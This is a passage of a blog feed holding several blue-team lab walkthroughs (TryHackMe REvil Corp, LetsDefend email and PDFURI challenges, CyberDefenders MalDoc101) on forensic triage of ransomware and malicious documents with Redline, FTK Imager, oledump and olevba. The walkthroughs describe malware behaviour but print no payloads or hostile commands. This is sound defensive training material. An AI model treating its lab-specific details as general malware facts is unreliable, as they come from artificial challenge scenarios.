name of the malicious executable that the user opened? What is the full URL that the user visited to download the malicious binary? (include the binary as well) Okay now we need to determine how the malicious executable was dropped onto the system. Since Question 4 is asking about a download URL, let’s start with something obvious and check the File Download History tab to see what we can find.\nThe File Download History shows u_s_ two artifacts, but one of the downloads has a source URL containing an IP address — that’s a bit suspicious and requires some additional investigation.\nThe artifacts we discovered so far should be sufficient to answer Questions 3 \u0026amp; 4 but it is still unclear how or why the victim acquired this executable.\nAt this point in the analysis, we can start to speculate what might have happened:\n-Maybe the download URL was sent to the victim with a Spearphishing Link? (MITRE ATT\u0026amp;CK T1566.002)\n-Could the user have been searching for the legitimate application on the web and fell victim to a Malvertising link? (MITRE ATT\u0026amp;CK T1583.008)\n-Or maybe there was a Supply Chain Compromise, and the executable was infected and distributed from the legitimate site hosting the application? (MITRE ATT\u0026amp;CK T1195.002)\nAs we go through the investigation, answering these types of questions will be important. In the real world, finding the root cause can help us form a strategy to tighten up our preventative controls and prepare us to fully eradicate the threat!\nQuestions 5 \u0026amp; 6: What is the MD5 hash of the binary? What is the size of the binary in kilobytes? Now, since we have the download path from the File Download History, let’s actually navigate to this location using the File System tab. We will select the Downloads folder, locate the file, and double-click it to drill-down and get more detailed information.\nThis will give us the specific information we are looking for to answer Questions 5 \u0026amp; 6, including the file size and file hashes.\nFull Detailed Information of the Malicious Binary\nOkay! Now that we have the file hash, let’s take our analysis a step further and drop the hash into VirusTotal to see if we can get any hits and gather some additional intelligence on this binary:\nVirusTotal shows a lot of detection on this binary and includes some threat labeling that will help us to hunt for specific indicators of compromise. Keep this page open for reference later since we will use it to help answer Question 9!\nQuestions 7 \u0026amp; 8: What is the extension to which the user’s files got renamed? What is the number of files that got renamed and changed to that extension? Okay, let’s stick with the File System tab. Since we know the user account and that the victim complained that his files “are renamed to a weird file extension that he has never seen before” we can take a look at a location with high visibility and that is often used for storage — the Desktop.\nRight away we can see what the victim reported, several files with an unusual extension. Let’s try to assess the impact and determine how many files were appended with this extension.\nTo do this, we are going to utilize the Timeline feature which records all of the file events so that we can see what has been created, accessed, modified, and changed. The question is asking about files that are renamed AND changed, so within the Timeline lets select modified and changed under Files. After that we will press the filter button on the Summary column and input the weird extension from Question 7 to search for files with this extension.\nNow let’s check our results. At the bottom right of the screen we will have an item count, this should be the answer we are looking for!\nQuestion 9: What is the full path to the wallpaper that got changed by an attacker, including the image name? To tackle this problem, let’s pull back and recall some of the indicators we have already discovered. Remember back in Question 6 that we found some information about the threat family of the malicious executable from VirusTotal? Let’s use that information and do some research. This will save us time instead of manually sifting through the entire Timeline.\nLet’s head over to Google and see what we can find by searching for the threat family label that we found on VirusTotal. While there is quite a bit of information on this malware, I stumbled across one article that had some interesting information that will help us answer Question 9 (and confirms one of our theories from Question 4).\nREvil/Sodinokibi Ransomware _The REvil (also known as Sodinokibi) ransomware was used by the financially motivated GOLD SOUTHFIELD threat group…_www.secureworks.com\nThe article states that the malware sets a wallpaper and:\nsaves the finished image to the host’s %Temp% directory using a random filename consisting of lowercase letters and numbers between 3 and 13 characters in length appended with the “.bmp” extension (e.g., C:\\Users__\\AppData\\Local\\Temp\\cd2sxy.bmp).\nNow that we have some idea of what indicator we might be hunting for, let’s jump back into Redline and adjust our filter in the Timeline.\nWe will add a filter to the Summary column and specify the Temp directory for the user that we are investigating. Once we have the filter in place, we can search for the .bmp file extension in the search box.\nGreat! With the help of some threat intelligence, we found the answer!\nQuestion 10: The attacker left a note for the user on the Desktop; provide the name of the note with the extension. Now let’s go searching for the ransom note. While we could navigate back to the Desktop from the File System tab, why don’t we just keep using the Timeline with some adjustments?\nLet’s change the Timeline Configuration to show Created files and then filter the summary column for the victim’s Desktop path:\nOnce we do that, we will see a readme file — I think that’s what we are looking for…\nQuestion 11: The attacker created a folder “Links for United States” under C:\\Users\\John Coleman\\Favorites\\ and left a file there. Provide the name of the file. We have all the information we need from Question 11 itself to continue searching within the Timeline. Let’s go ahead and add the file path from the question including the folder name.\nOnce add the information to the filter, the output leaves us with just a few choices. One file sticks out as it is not an English language word like we have seen on the rest of this system:\nLet’s confirm our suspicion and check our findings.\nQuestion 12: There is a hidden file that was created on the user’s Desktop that has 0 bytes. Provide the name of the hidden file. For Question 12, we’ll pivot back to the File System tab and filter only John’s Desktop again.\nIf we look at the Size column, we can easily spot the hidden file we are looking for.\nQuestion 13: The user downloaded a decryptor hoping to decrypt all the files, but he failed. Provide the MD5 hash of the decryptor file. Awesome, since we are already filtering the Desktop from the File System tab, you may have also already noticed a conspicuous decryptor executable?\nLet’s double-click the file to get the full detailed information, including the file hashes.\nLet’s copy the MD5 Hash and submit the answer!\nQuestion 14: In the ransomware note, the attacker provided a URL that is accessible through the normal browser in order to decrypt one of the encrypted files for free. The user attempted to visit it. Provide the full URL path. I don’t see a straightforward way to extract an artifact from the Redline file to simply read the URL from the ransom note, so let’s get creative and utilize the Browser URL History tab and sift through the logs.\nSince we are looking for a website used for decryption let’s try entering the keyword decrypt into the search box and see what we find?\nOkay, it looks like we found a URL in the list with our search! While it isn’t always this easy to correlate a URL with the other malicious activity, we’ll take this one as a win and move on to the final question.\nQuestion 15: What are some three names associated with the malware which infected this host? (enter the names in alphabetical order) With the indicators discovered from our investigation so far, we can be pretty confident that we know which ransomware affected the victim. But, the VirusTotal intelligence from Question 6 and the Secureworks report from Question 9 only give us two names for this malware. So, we will need to collect more intelligence. For this, let’s turn to the MITRE ATT\u0026amp;CK knowledge base and see what additional information is available for this ransomware — we’ll input one of the names that we know already:\nREvil _REvil is a ransomware family that has been linked to the GOLD SOUTHFIELD group and operated as ransomware-as-a-service…_attack.mitre.org\nThere we go, we have some associated software descriptions that should help us answer the last question and wrap up this investigation!\nConclusion: Whew! We set to solve this ransomware incident using Redline and I think we now have enough information to start the eradication and recovery phase for John! Great job!\nThank you to TryHackMe for hosting another engaging challenge and building out such a huge catalog of free rooms for the community. This room was an excellent challenge to reinforce the concepts from the Redline room and provides enough hands-on time to understand it’s value in the DFIR process. It never hurts to have some more experience with a new tool to keep in your kit, after all!\nThank you so much for reading along. I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!\nTools \u0026amp; References: FireEye Redline: https://fireeye.market/apps/211364\nTryHackMe REvil Corp Room: https://tryhackme.com/r/room/revilcorp\nMITRE ATT\u0026amp;CK — Spearphishing Link: https://attack.mitre.org/techniques/T1566/002/\nMITRE ATT\u0026amp;CK — Malvertising: https://attack.mitre.org/techniques/T1583/008/\nMITRE ATT\u0026amp;CK — Supply Chain Compromise: https://attack.mitre.org/techniques/T1195/002/\nVirusTotal: https://www.virustotal.com/\nSecureworks: https://www.secureworks.com/research/revil-sodinokibi-ransomware\nMITRE ATT\u0026amp;CK — REvil: https://attack.mitre.org/software/S0496/\n","date":"2024-04-07T00:00:00Z","image":"/posts/tryhackme-revil-corp-challenge-walkthrough/f4c9c9721f1e6726d2c385d06521db0c_MD5.png","permalink":"/posts/tryhackme-revil-corp-challenge-walkthrough/","title":"TryHackMe  —  REvil Corp Challenge Walkthrough"},{"content":"LetsDefend — Email Analysis Challenge Walkthrough Email Header and Attachment Analysis Image Credit: https://app.letsdefend.io/challenge/email-analysis\nIntroduction: Hello — Thanks for joining me for this weekly walkthrough!\nThis week I am going to tackle the medium difficulty Email Analysis blue team challenge over on LetsDefend.\nThis one should be good practice for some manual email header and attachment analysis. While there are many solutions that perform automatic header analysis and sandbox detonation of attachments before delivery, it\u0026rsquo;s always good to practice your manual analysis skills especially if you don\u0026rsquo;t have these enterprise tools available to you.\nAs always, this write up will serve as a learning notebook for me and a LetsDefend challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!\nChallenge Link: https://app.letsdefend.io/challenge/email-analysis\nChallenge Scenario: You recently received an email from someone trying to impersonate a company, your job is to analyze the email to see if it is suspicious.\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: First thing\u0026rsquo;s first — It\u0026rsquo;s always a good idea when downloading lab/challenge files from LetsDefend (or any lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine — we are working with malicious files, after all!\nFor this challenge I am using REMnux, a Linux distro built for malware analysis so we can leverage the available built-in tools to help us with the analysis.\nTo keep this write-up focused I\u0026rsquo;m going to skip a step-by-step setup guide of REMnux. Instead, if you want to set up your own REMnux environment please follow the directions provided by REMnux directly. I opted for the virtual appliance method:\nGet the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into\u0026hellip;_docs.remnux.org\nOkay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!\nQuestion 1: What is the sending email address? Okay! We have few ways to approach this challenge. Since the file we are doing analysis on is a .eml file which contains the message header, message body, and attachments, we might simply open it in a plain text editor to view the header information. But, for this challenge, let\u0026rsquo;s jump into CyberChef to view the file in case we need to perform any other operations later. We can use the online version of the tool or the version installed in REMnux.\nNow, we can simply drop the extracted .eml file into the CyberChef input window. Then, in the output window we should have all the information that we need to answer the first five questions!\n.eml in, .eml out\nFor Question 1, we want to look at the From field which contains the sender\u0026rsquo;s address information. The challenge states that this email is trying to impersonate a company, right? It\u0026rsquo;s important to note that in real-world analysis this field can be (and often is) spoofed by the bad guys for phishing or impersonation attempts.\nFor this one, let\u0026rsquo;s submit the sender\u0026rsquo;s address as we see it in the From field.\nQuestion 2: What is the email address of the recipient? We\u0026rsquo;re going to do the same thing we did for Question 1; except this time, we\u0026rsquo;ll look at the To field which contains the recipient\u0026rsquo;s email address.\nQuestion 3: What is the subject line of the email? This time let\u0026rsquo;s look at the Subject field which is just the subject line that the sender entered for the email.\nQuestion 4: What date was the Email sent? Date format: MM/DD/YYYY Yep, you guessed it — we\u0026rsquo;re going to focus on the Date field this time. This is a required header in the Simple Mail Transfer Protocol (SMTP). The only trick here is the date format is different in the email than it is for the question submission.\nQuestion 5: What is the originating IP? Now let\u0026rsquo;s check the Received field. This field will list all mail servers that the message has gone through before delivery including their IP addresses. Since there is only one IP address in our sample, we should have the answer.\nWhile out of scope for this challenge but useful in the real world, we can check threat intel for the sender IP address against a ton of excellent reputation and intelligence services online. Remember that our challenge scenario told us that the suspicious email was trying to impersonate a company — Threat intel can also help us determine if the originating IP address is related to the company it claims to be.\nFor this example, let\u0026rsquo;s take a look at just a couple of these services — the Cisco Talos Intelligence Center, and the SuperTool over on MxToolBox.\nCisco Talos IP Address Lookup\nMxToolBox Blacklist Check\nUsing these types of services can help our analysis by adding context and intelligence to indicators we find during our investigations!\nQuestion 6: What country is the ip address from? Since we have the IP address from Question 5, we\u0026rsquo;re going to look for geolocation information about the IP address of the sending infrastructure.\nThere are any number of geolocation services we can use but it\u0026rsquo;s always a good idea to check a couple of different ones as the location data can vary depending on the method the provider uses to determine the geolocation. In the real world you might see some inaccurate geolocation data in your logs so double verifying is a good practice.\nYou may have noticed that we already answered this in the previous question but to highlight more tools, we\u0026rsquo;ll check two more geolocation databases — ipinfo.io \u0026amp; DomainTools WhoIs Lookup\nIP Information from ipinfo.io\nIP Information from DomainTools WhoIs Lookup\nNow that we have checked three different services, we can more accurately answer Question 6!\nQuestion 7: What is the name of the attachment when you unzip it? (with extension) Alright, now we are going to move on from analysis of the .eml file directly and check out the attachment — this is a separate file linked in the challenge.\nFor this question, let\u0026rsquo;s simply unzip the archive file and see what the name of the file contained inside is:\nOkay, we have an executable file and misspelling of the brand in the file name — that\u0026rsquo;s suspicious\u0026hellip;\nQuestion 8: What is the sha256 hash of the File? Now that we have extracted an executable file from the .zip archive we need to grab the file hash. Fortunately, we can do this directly in the terminal! Since we need to get the SHA-256 hash we can use the sha256sum command to get the right output.\nLet\u0026rsquo;s keep this output handy after we submit it so that we can use it for Question 9.\nQuestion 9: Is the email attachment malicious? Yes/No Okay, we made it to the last question! Let\u0026rsquo;s see if we can get any hits on this file from VirusTotal to help us determine if this binary is malicious or not. We\u0026rsquo;ll copy the file hash from Question 8 into the search bar and see what we can discover about this indicator of compromise (IOC):\nVirusTotal detection of the file hash.\nThere we go! We\u0026rsquo;ve got a high number of detections on VirusTotal, with the threat labeled as Loki Ransomware. This gives us high confidence that the file is indeed malicious without having to perform our own analysis on the executable.\nLet\u0026rsquo;s check our work and wrap this challenge up!\nConclusion: Let\u0026rsquo;s walk through and quickly summarize. Our investigation revealed a social engineering attempt with spearphishing attachment (MITRE ATT\u0026amp;CK T1566.001) by impersonating another organization. If we executed the malicious file (MITRE ATT\u0026amp;CK T1024) in the attached .zip archive, we might have been a victim of the Loki Ransomware! This is just the tip of the iceberg, but this is all the information we need to wrap up this challenge.\nWe set out to determine if the email we received is suspicious and I think we can conclude that is! Great work on the investigation!\nThank you to LetsDefend.io for the challenge. While this was just a brief scenario, it provided us with a practical context to understand how we, as defenders, can quickly do some manual analysis of email headers and attachments to determine if they are malicious or not.\nI hope that you had as much fun as I did and learned something new, too. Stay curious!\nTools \u0026amp; References: REMnux: https://docs.remnux.org/install-distro/get-virtual-appliance\nCyberChef: https://gchq.github.io/CyberChef/\nCisco Talos: https://talosintelligence.com/\nMX ToolBox Blacklists Check: https://mxtoolbox.com/blacklists.aspx\nDomainTools WhoIs: https://whois.domaintools.com/\nipinfo.io: https://ipinfo.io/\nVirusTotal: https://www.virustotal.com/\nMITRE ATT\u0026amp;CK Techniques:\nhttps://attack.mitre.org/techniques/T1566/001/\nhttps://attack.mitre.org/techniques/T1204/\n","date":"2024-03-31T00:00:00Z","image":"/posts/letsdefend-email-analysis-challenge-walkthrough/fe2be9e74d1be353e4c566000033eaa1_MD5.png","permalink":"/posts/letsdefend-email-analysis-challenge-walkthrough/","title":"LetsDefend — Email Analysis Challenge Walkthrough"},{"content":"LetsDefend — PDFURI Challenge Walkthrough Forensic Endpoint Investigation with FTK Imager, DB Browser, PDFStreamDumper, \u0026amp; Registry Explorer Image Credit: https://app.letsdefend.io/challenge/pdfuri\nIntroduction: Hello — Thanks for joining me for this weekly walkthrough!\nThis week I am going to tackle the medium difficulty PDFURI blue team challenge over on LetsDefend. This challenge uses a hosted virtual machine analysis environment on LetsDefend so that the challenge can be completed in a web browser! The virtual machine also comes with a ton of cool tools pre-installed to help us complete the challenge. It\u0026rsquo;s a fantastic opportunity to try out some new tools and get creative while analyzing a forensic image of a victim\u0026rsquo;s hard drive.\nAs always, this write up will serve as a learning notebook for me and a LetsDefend challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!\nChallenge Link: https://app.letsdefend.io/challenge/pdfuri\nChallenge Scenario: Our friend \u0026quot; # \u0026quot;\nDee\u0026quot; was looking for a job in Tanta, but it seems she was hacked by one of the malicious websites, so can you examine her hard drive and find some evidence?\nQuestion 1: What is the MD5 hash of the malicious document? Alright, let\u0026rsquo;s start this off by launching our Lab Environment and unzipping the challenge file. From the challenge scenario, we know that we are going to be examining the victim\u0026rsquo;s hard drive, right? So, let\u0026rsquo;s check out the Tools folder on the Desktop and see what our analysis environment has installed for us to use:\nContents of our Tools folder\nIt looks like we have FTK Imager available! If you aren\u0026rsquo;t familiar, FTK imager is a forensic hard disk imaging tool. In this case, we will use it to mount the victim\u0026rsquo;s disk image (challenge file) so that we can analyze the file system within the forensic image, search for files/folders, and even extract artifacts from the image!\nLet\u0026rsquo;s launch FTK Imager and load the image file by pressing File \u0026gt; Add Evidence Item \u0026gt; Image File \u0026gt; Select the extracted Challenge File (PDFURI.001). Now that we have mounted the image, we can expand the evidence tree and browse the disk artifacts.\nSince our scenario says the victim was searching for a job, maybe they downloaded a malicious file during their search? Let\u0026rsquo;s start simple and browse to the user\u0026rsquo;s Downloads folder within FTK (PDFURI.001 \u0026gt; NONAME [NTFS] \u0026gt; [root]/Users/Work/Downloads) and see if we can find the malicious document to answer Question 1.\nHey, we found something of interest — a job application (Application.pdf) in the victim\u0026rsquo;s Downloads folder! Fortunately for us, we can quickly collect the file hash of this artifact by right-clicking the file and using the Export File Hash function. This will allow us to export the MD5 \u0026amp; SHA1 hashes to a text file for evidence.\nLet\u0026rsquo;s check our export, copy the MD5 hash, and submit the answer to confirm our findings.\nQuestion 2: What is the domain from which the document was downloaded? Since we know the victim downloaded the file from a website, let\u0026rsquo;s check if we can locate the download source. A good starting point will be to check if there are any interesting artifacts in the web browser databases. So, our plan is to try to extract the History database file from the disk image and view it with another one of our installed tools, DB Browser.\nBefore we go further, let\u0026rsquo;s pull back and reference a handy cheat sheet from Foxtron Forensics as a reference to the web browser databases:\nGoogle Chrome History Location | Chrome History Viewer _Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner\u0026hellip;_www.foxtonforensics.com\nThis article applies to Google Chrome but since Microsoft Edge is Chromium-based (Since 2019), this will apply to either one on the victim\u0026rsquo;s system.\nLet\u0026rsquo;s head back into FTK Imager and check which browser the victim used to download the malicious application. Navigate to PDFURI.001 \u0026gt; NONAME [NTFS] \u0026gt; [root]\\Users\\Work\\AppData\\Local\nIn the directory we do not see any reference to Google as we would expect from the cheat sheet, but we do see Microsoft, so the user probably used Microsoft Edge as their browser_._ Now, let\u0026rsquo;s navigate to Microsoft\\Edge\\User Data\\Default.\nRight-Click on the Default folder and select export files — this will allow us to extract the contents of the entire Default folder including the browser databases so that we can view them.\nNow, we will load up DB Browser (SQLite) from our Tools folder. Once it is open, press Open Database and select the History database. Now we can select the Browse Data tab and browse the tables within it.\nReferencing the cheat sheet we understand:\nDownloads are stored in the €˜History\u0026rsquo; SQLite database, within the €˜downloads\u0026rsquo; and €˜downloads_url_chains\u0026rsquo; tables.\nLet\u0026rsquo;s start with the Downloads and Downloads_URL_Chains tables to see what we find? Unfortunately, these come up empty so let\u0026rsquo;s pivot and just try to explore the victim\u0026rsquo;s browsing history.\nWe\u0026rsquo;ll select the URLs table and browse through the URL history. After reviewing the entries, we start to piece together the victim\u0026rsquo;s browsing history and then, we stumble across this entry:\nIt looks like we located the domain of the Application.pdf file we found earlier — nice work!\nQuestion 3: What is the email address of the victim? Okay, let\u0026rsquo;s stick with DB Browser (SQLite) and continue searching for data in the Microsoft Edge browser databases. Let\u0026rsquo;s think about where the victim\u0026rsquo;s email address might be stored — maybe they saved it as an autofill item in the browser to save time during their job search?\nIf we go back to our Foxtron Forensics reference and search for autofill we find the following information:\nForm History is stored in the €˜Web Data\u0026rsquo; SQLite database, within the €˜autofill\u0026rsquo; table. Older versions of Chrome stored associated dates within an €˜autofill_dates\u0026rsquo; table.\nWhy don\u0026rsquo;t we check it out? We\u0026rsquo;ll go ahead and open the Web Data database and browse the autofill table\u0026hellip;\nThere we go! I think we found the answer to Question 3. Let\u0026rsquo;s submit it and move on.\nQuestion 4: What is the command that is executed by the malicious document? Alright, now we get to pivot and try some static analysis!\nLet\u0026rsquo;s try another tool available in our analysis environment — PDFStreamDumper. This tool should let us perform some static analysis of object streams within a PDF file and see if there is anything malicious.\nThis is my first time using this tool but according to the developer\u0026rsquo;s page:\nThis is a free tool for the analysis of malicious PDF documents.\nHas specialized tools for dealing with obfuscated JavaScript, low level pdf headers and objects, and shellcode.\nFirst things first — Remember the Application.pdf we found back in Question 1? We\u0026rsquo;re going to go back into FTK Imager, navigate to the file path from Question 1, and right-click on the file and the export.\nOnce we have completed the export, we\u0026rsquo;ll open PDFStreamDumper from the Tools folder, load the Application.pdf file into PDFStreamDumper. When the loading is completed, we can check the output and start to analyze the objects contained in the file!\nOn the left side column, we see that the tool has parsed 6 objects within the PDF file. Let\u0026rsquo;s analyze the objects one-by-one and see if we can find anything suspicious\u0026hellip;\nSomething in object 5 sticks out, doesn\u0026rsquo;t it? Immediately, we can see that there is quite a bit of code in this object compared to the others. But more importantly, there also appears to be a Base64 encoded PowerShell command stored here as well — this should answer Question 4!\nSide Quest: While out of scope for this challenge, it might be fun to jump into something like CyberChef to decode the PowerShell command we found stored in the object. This will help us to better understand the impact of the User Execution (MITRE ATT\u0026amp;CK T1204.002) on the victim\u0026rsquo;s system.\nIn this case, the PowerShell script creates a stored Environmental Variable with a string message from the threat actor. Again, not relevant for this challenge but it would be something to explore in a real-world analysis.\nQuestion 5: Seems the PC username changed to another one. Can you identify the new Username? We\u0026rsquo;ve made it to the last question! In this question we are looking for the username that changed. To answer this question, we need to first understand where username values are stored and if we can extract that from a forensic disk image, right?\nLet\u0026rsquo;s pull back a bit and recap: In Question 1 we explored the Users folder where the home folders for each user on the system is stored. Based on our evidence, the victim was using the profile named Work. Now we need to locate another location that contains user account information to see what has changed.\nWhere could we find this information though? Well, according to Microsoft Learn we could check th_e Security Account Manager (SAM) Database_:\nThe Security Accounts Manager (SAM) is a database that stores local user accounts and groups.\nLet\u0026rsquo;s go back into FTK Imager and see if we can extract the SAM Database from the image. In FTK navigate within the Evidence Tree to (PDFURI.001 \u0026gt; NONAME [NTFS] \u0026gt; [root]/Windows/System32/config/) and select the SAM file. We\u0026rsquo;ll do the same process to export this file to our evidence folder.\nLocating and exporting the SAM database from FTK Imager\nNow that we have the SAM Database extracted_,_ let\u0026rsquo;s load with another analysis tool Eric Zimmerman\u0026rsquo;s Registry Explorer.\nIf we expand the keys within the SAM hive down to Names, we can see all the local usernames on the system. All the Names listed are default Windows usernames except one of them — Since we know the user account was called Work, and we no longer see that in the database, I think we found the answer to Question 5!\nExploring the SAM Database in Registry Explorer\nConclusion: Great work on the investigation, and thank you for joining me on this learning journey!\nA special thanks to LetsDefend.io for presenting yet another engaging challenge. This challenge was not only enjoyable but also served as an excellent primer on various forensic tools such as FTK Imager, DB Browser, PDF Stream Dumper, and Registry Explorer. It provided us with a practical context to understand how we, as defenders, can quickly analyze browser artifacts, malicious PDF files, and the Windows Registry.\nI hope that you had as much fun as I did and learned something new, too. Stay curious!\nTools \u0026amp; References: FTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager\nChrome Forensics: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location\nDB Browser for SQLite: https://sqlitebrowser.org/\nPDF Stream Dumper: http://sandsprite.com/blogs/index.php?uid=7\u0026amp;pid=57\nMITRE ATT\u0026amp;CK (User Execution: Malicious File): https://attack.mitre.org/techniques/T1204\nMicrosoft Learn SAM Database Reference: https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_SAM\nRegistry Explorer: https://ericzimmerman.github.io/#!index.md\n","date":"2024-03-24T00:00:00Z","image":"/posts/letsdefend-pdfuri-challenge-walkthrough/ef15ec63b4868451dbd2545071581408_MD5.png","permalink":"/posts/letsdefend-pdfuri-challenge-walkthrough/","title":"LetsDefend  —  PDFURI Challenge Walkthrough"},{"content":"CyberDefenders.org — MalDoc101 Blue Team Lab Walkthrough Analyzing a Malicious Document with REMnux, OLEDUMP, and OLEVBA. Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/maldoc101/\nIntroduction: Hello — Thanks for joining me for this walkthrough! This week I am going to tackle the medium difficulty MalDoc101 blue team challenge over on CyberDefenders. This challenge should be a great opportunity to expand my static analysis skills for malicious documents and learn some cool new tools for my workflow! A recommended tool for this challenge is REMnux — If you are unfamiliar, REMnux is a Linux distro built for malware analysis so we can leverage the available built-in tools to help us with the analysis.\nAs always, this write up will serve as a learning notebook for me and a CyberDefenders challenge walkthrough for anyone else who stumbles upon this post. In the spirit of learning, I\u0026rsquo;m not going to reveal the answers to the challenges so I encourage you to follow along or use this walkthrough as a reference if you get stuck.\nThanks for reading along, hope it helps!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/maldoc101/\nChallenge Scenario: It is common for threat actors to utilize living off the land (LOTL) techniques, such as the execution of PowerShell to further their attacks and transition from macro code. This challenge is intended to show how you can often times perform quick analysis to extract important IOCs. The focus of this exercise is on static techniques for analysis.\nAs a security blue team analyst, analyze the artifacts and answer the questions.\nSuggested Tools:\nREMnux Virtual Machine (remnux.org)\nTerminal/Command prompt w/ Python installed\nOledump\nText editor\nSetup the REMnux Analysis Environment \u0026amp; Extract the challenge file: Image credit: CyberDefenders.org\nFirst thing\u0026rsquo;s first — It\u0026rsquo;s always a good idea to heed the warning when downloading the lab/challenge files from CyberDefenders (or any lab/challenge/range) and keep yourself safe by performing these tasks in a dedicated, isolated virtual machine like REMnux — Safety first!\nSecond, I want to make a note that I\u0026rsquo;ll be referencing the excellent REMnux Documentation regularly in this post. This is a great resource to discover the tools available within the environment.\nhttps://docs.remnux.org/\nThird, to keep this write-up focused I\u0026rsquo;m going to skip a step-by-step setup guide of REMnux. Instead, if you want to setup your own REMnux environment please follow the directions provided by REMnux directly. I opted for the virtual appliance method:\nhttps://docs.remnux.org/install-distro/get-virtual-appliance\nOkay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!\nQuestion 1: Multiple streams contain macros in this document. Provide the number of highest one. We\u0026rsquo;ll start by checking out the REMnux documentation and see what Microsoft Office specific analysis tools are available.\nhttps://docs.remnux.org/discover-the-tools/analyze+documents/pdf\nThere are quite a few tools we can use but before we dive in, let\u0026rsquo;s pull back a little. I want to point to an awesome quick reference poster that can help provide us some context, the SANS Analyzing Malicious Documents cheat sheet. This incredibly helpful cheat sheet provides us with some quick, actionable tips for analyzing malicious documents. Since I\u0026rsquo;m a novice with this type of malware analysis any reference or starting point will help to keep me from stumbling too much!\nLet\u0026rsquo;s focus first on a suggested tool from the challenge scenario and also referenced in the SANS cheat sheet — oledump.\nAccording to the SANS sheet:\nBinary Microsoft Office document files (.doc, .xls, etc.) use the OLE2 (a.k.a. Structured Storage) format.\nI have to give myself a little refresher on the structure of OLE documents for this so we\u0026rsquo;ll turn to the GitHub page of Philippe Lagadec (decalage2), whose oletools we will use later for this challenge:\n[An OLE file can be seen as a mini file system or a Zip archive: It contains streams of data that look like files embedded within the OLE file. Each stream has a name. For example, the main stream of a MS Word document containing its text is named \u0026quot; # \u0026quot;\nWordDocument\u0026quot; .](https://github.com/decalage2/olefile/blob/master/doc/OLE_Overview.rst)\nAn OLE file can also contain storages. A storage is a folder that contains streams or other storages. For example, a MS Word document with VBA macros has a storage called \u0026quot; # \u0026quot;\nMacros\u0026quot; .\nOkay — now that we\u0026rsquo;ve gotten a refresher, we\u0026rsquo;ll head back to the REMnux documentation which has a link over to Didier Stevens website, the author of oledump.\nWe can take a look at the documentation for oledump before we move forward but fortunately for us, we have an option within the tool to utilize the built-in manual — let\u0026rsquo;s use it to get an idea of the syntax. Remember, for Question 1 we simply need to figure out how to show the streams that contain macros within the suspicious document.\nLet\u0026rsquo;s just try to process the challenge file with the tool and see what we get:\noledump.py According to the oledump site_,_ The M **\u0026quot; # \u0026quot;\n**indicates that the stream contains VBA macros.\u0026quot; Very interesting, our sample contains three! For Question 1 we are looking for the highest stream number. Let\u0026rsquo;s find it and check our work.\nQuestion 2: What event is used to begin the execution of the macros? Okay, now it\u0026rsquo;s time to get serious and do some static analysis. We\u0026rsquo;re going to check out another tool that I mentioned earlier — olevba as part of the oletools suite by Philippe Lagadec.\nolevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to detect VBA Macros, extract their source code in clear text, decode malware obfuscation (Hex/Base64/StrReverse/Dridex) and detect security-related patterns such as auto-executable macros, suspicious VBA keywords used by malware, and potential IOCs (IP addresses, URLs, executable filenames, etc).\nWe\u0026rsquo;ll use olevba to parse the suspicious file and see if it pulls anything out that could help us answer Question 2.\nLet\u0026rsquo;s run through the command and scroll through the output.\nolevba Conveniently highlighted in yellow, there is an event that sticks out and appears like it might trigger execution — Let\u0026rsquo;s see if there is any more information in the summary to confirm\u0026hellip;\nolevba output\nThe summary in olevba\nOkay, very interesting! The event we found earlier is an AutoExec type that runs when the document is opened. That seems kind of suspicious and I think we have found the answer to Question 2!\nQuestion 3: What malware family was this maldoc attempting to drop? Now let\u0026rsquo;s see what intelligence we can gather on the file. To keep this simple, let\u0026rsquo;s just calculate the file hash of the malicious binary — we can do this right from the terminal. For this example, we\u0026rsquo;ll calculate the SHA-256 hash.\nsha256sum sample.bin\nLet\u0026rsquo;s check first if Virus Total has any hits by submitting the hash of the file, maybe?\nThere we go! We\u0026rsquo;ve got a lot of detection on this file. Let\u0026rsquo;s take a look at the threat and family labels — this will provide us with the answer we\u0026rsquo;re looking for.\nQuestion 4: What stream is responsible for the storage of the base64-encoded string? If you haven\u0026rsquo;t cleared your terminal, let\u0026rsquo;s scroll back to the output of olevba from Question 2. Remember as we were scrolling down through the out put there was a large block of obfuscated strings?\nYeah, that one! Let\u0026rsquo;s take a closer look but this seems likely to be the stream that is storing the Base64 encoded string we need for Question 4.\nWe need to find the stream number though, right? Remember back in Question 1 where we used oledump? Let\u0026rsquo;s scroll back to that output (or run it again) and see if we can do some matching.\nNow if we look through the list, we see the the stream number corresponds to the OLE stream name we found with olevba — let\u0026rsquo;s confirm that we have the right one and submit the answer!\nQuestion 5: This document contains a user-form. Provide the name? For Question 5, we are looking for a userform contained in the document — these are used to created custom dialog boxes. _S_ometimes, these are seen in malicious documents where the user will open the document and see a dialog box/prompt/button like \u0026quot; # \u0026quot;\nSign In to view this document.\u0026quot; When the button is pressed the victim may be redirected to a phishing URL or something else malicious.\nTo tackle this one, we could potentially open the file in a Microsoft Office app to confirm the use and details of the userform but I think we can continue using our command-line tools for the purposes of this write-up.\nLet\u0026rsquo;s scroll back through the output of olevba again we see references to VBA FORM STRING over and over with the same container name as we found in Question 4.\nThat could be something, but how can we confirm the form name? Let\u0026rsquo;s take to Google and see if we can find anything about VBA Macro Forms. Eventually, I stumbled across a Microsoft Answers article, Introduction to the Office Macro Editor, Part 2, where it states:\nThe code of a userform is saved as a *.frm file\nMaybe we can olevba again and grep the output for \u0026quot; # \u0026quot;\n.frm\u0026quot; ? Let\u0026rsquo;s try it it out.\nolevba sample.bin | grep -i \u0026ldquo;.frm\u0026rdquo;\nAwesome! It looks like we found the .frm file which confirms the name we 